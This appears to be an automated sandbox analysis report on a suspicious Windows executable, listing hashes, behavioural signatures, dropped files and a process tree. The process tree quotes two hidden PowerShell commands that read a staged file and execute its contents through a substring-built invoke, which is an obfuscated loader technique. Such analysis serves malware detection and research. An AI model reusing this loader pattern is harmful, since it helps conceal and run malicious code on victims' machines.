Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    23-10-2024 01:35

General

  • Target

    963d35a92ffdbbdd35c71fc392a73ce49e242ca1b80f94204ef714cc42bbf8d0.exe

  • Size

    867KB

  • MD5

    25da279ad7ee7cc3b8d3e5cd5aa4b5b2

  • SHA1

    d1fc6cbe8d8cca235ed29de6b109a0cb951eb5f3

  • SHA256

    963d35a92ffdbbdd35c71fc392a73ce49e242ca1b80f94204ef714cc42bbf8d0

  • SHA512

    db074cfe6c006f194b8b4ca983fb83a88229beb229504c8eba07140fe490974e90dfe75b66b9c4d81bd319fdaaccc822473064771b7ac8d333012859f139498e

  • SSDEEP

    12288:l9Zwb4/I1H06OdtVQuqilUSDFOIBETeVlCE7vkQymGwSW01hXqvjoaCi7lnsZz0W:/dPFtVtOIB+alCJmvulW6Nd0vu

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\963d35a92ffdbbdd35c71fc392a73ce49e242ca1b80f94204ef714cc42bbf8d0.exe
    "C:\Users\Admin\AppData\Local\Temp\963d35a92ffdbbdd35c71fc392a73ce49e242ca1b80f94204ef714cc42bbf8d0.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2400
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Seppo=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Kontokurantens.Unc';$Underviseren=$Seppo.SubString(52189,3);.$Underviseren($Seppo)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3044
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Seppo=Get-Content -raw 'C:\Users\Admin\AppData\Roaming\underarmsmusklens\Edriophthalmian\Kontokurantens.Unc';$Underviseren=$Seppo.SubString(52189,3);.$Underviseren($Seppo)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2540

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    b0cfe3e22fb224ea8b5170b792a5a828

    SHA1

    7427102905abe578f711d521a246e144894c7220

    SHA256

    bae69ba4c7aeac7cf76b791c5117895c91eb2a3d56ee70df812f96e10b2e6c5d

    SHA512

    f5046173de0973749ec6087d69b8148410241d5bf48fa87567deed0b4b9bd14bdfac6e17d684b91efe4966a08e08686565bb2fa9b276d0affc70ae9596fd5734

  • memory/3044-9-0x00000000743B1000-0x00000000743B2000-memory.dmp

    Filesize

    4KB

  • memory/3044-10-0x00000000743B0000-0x000000007495B000-memory.dmp

    Filesize

    5.7MB

  • memory/3044-11-0x00000000743B0000-0x000000007495B000-memory.dmp

    Filesize

    5.7MB

  • memory/3044-13-0x00000000743B0000-0x000000007495B000-memory.dmp

    Filesize

    5.7MB

  • memory/3044-12-0x00000000743B0000-0x000000007495B000-memory.dmp

    Filesize

    5.7MB

  • memory/3044-19-0x00000000743B0000-0x000000007495B000-memory.dmp

    Filesize

    5.7MB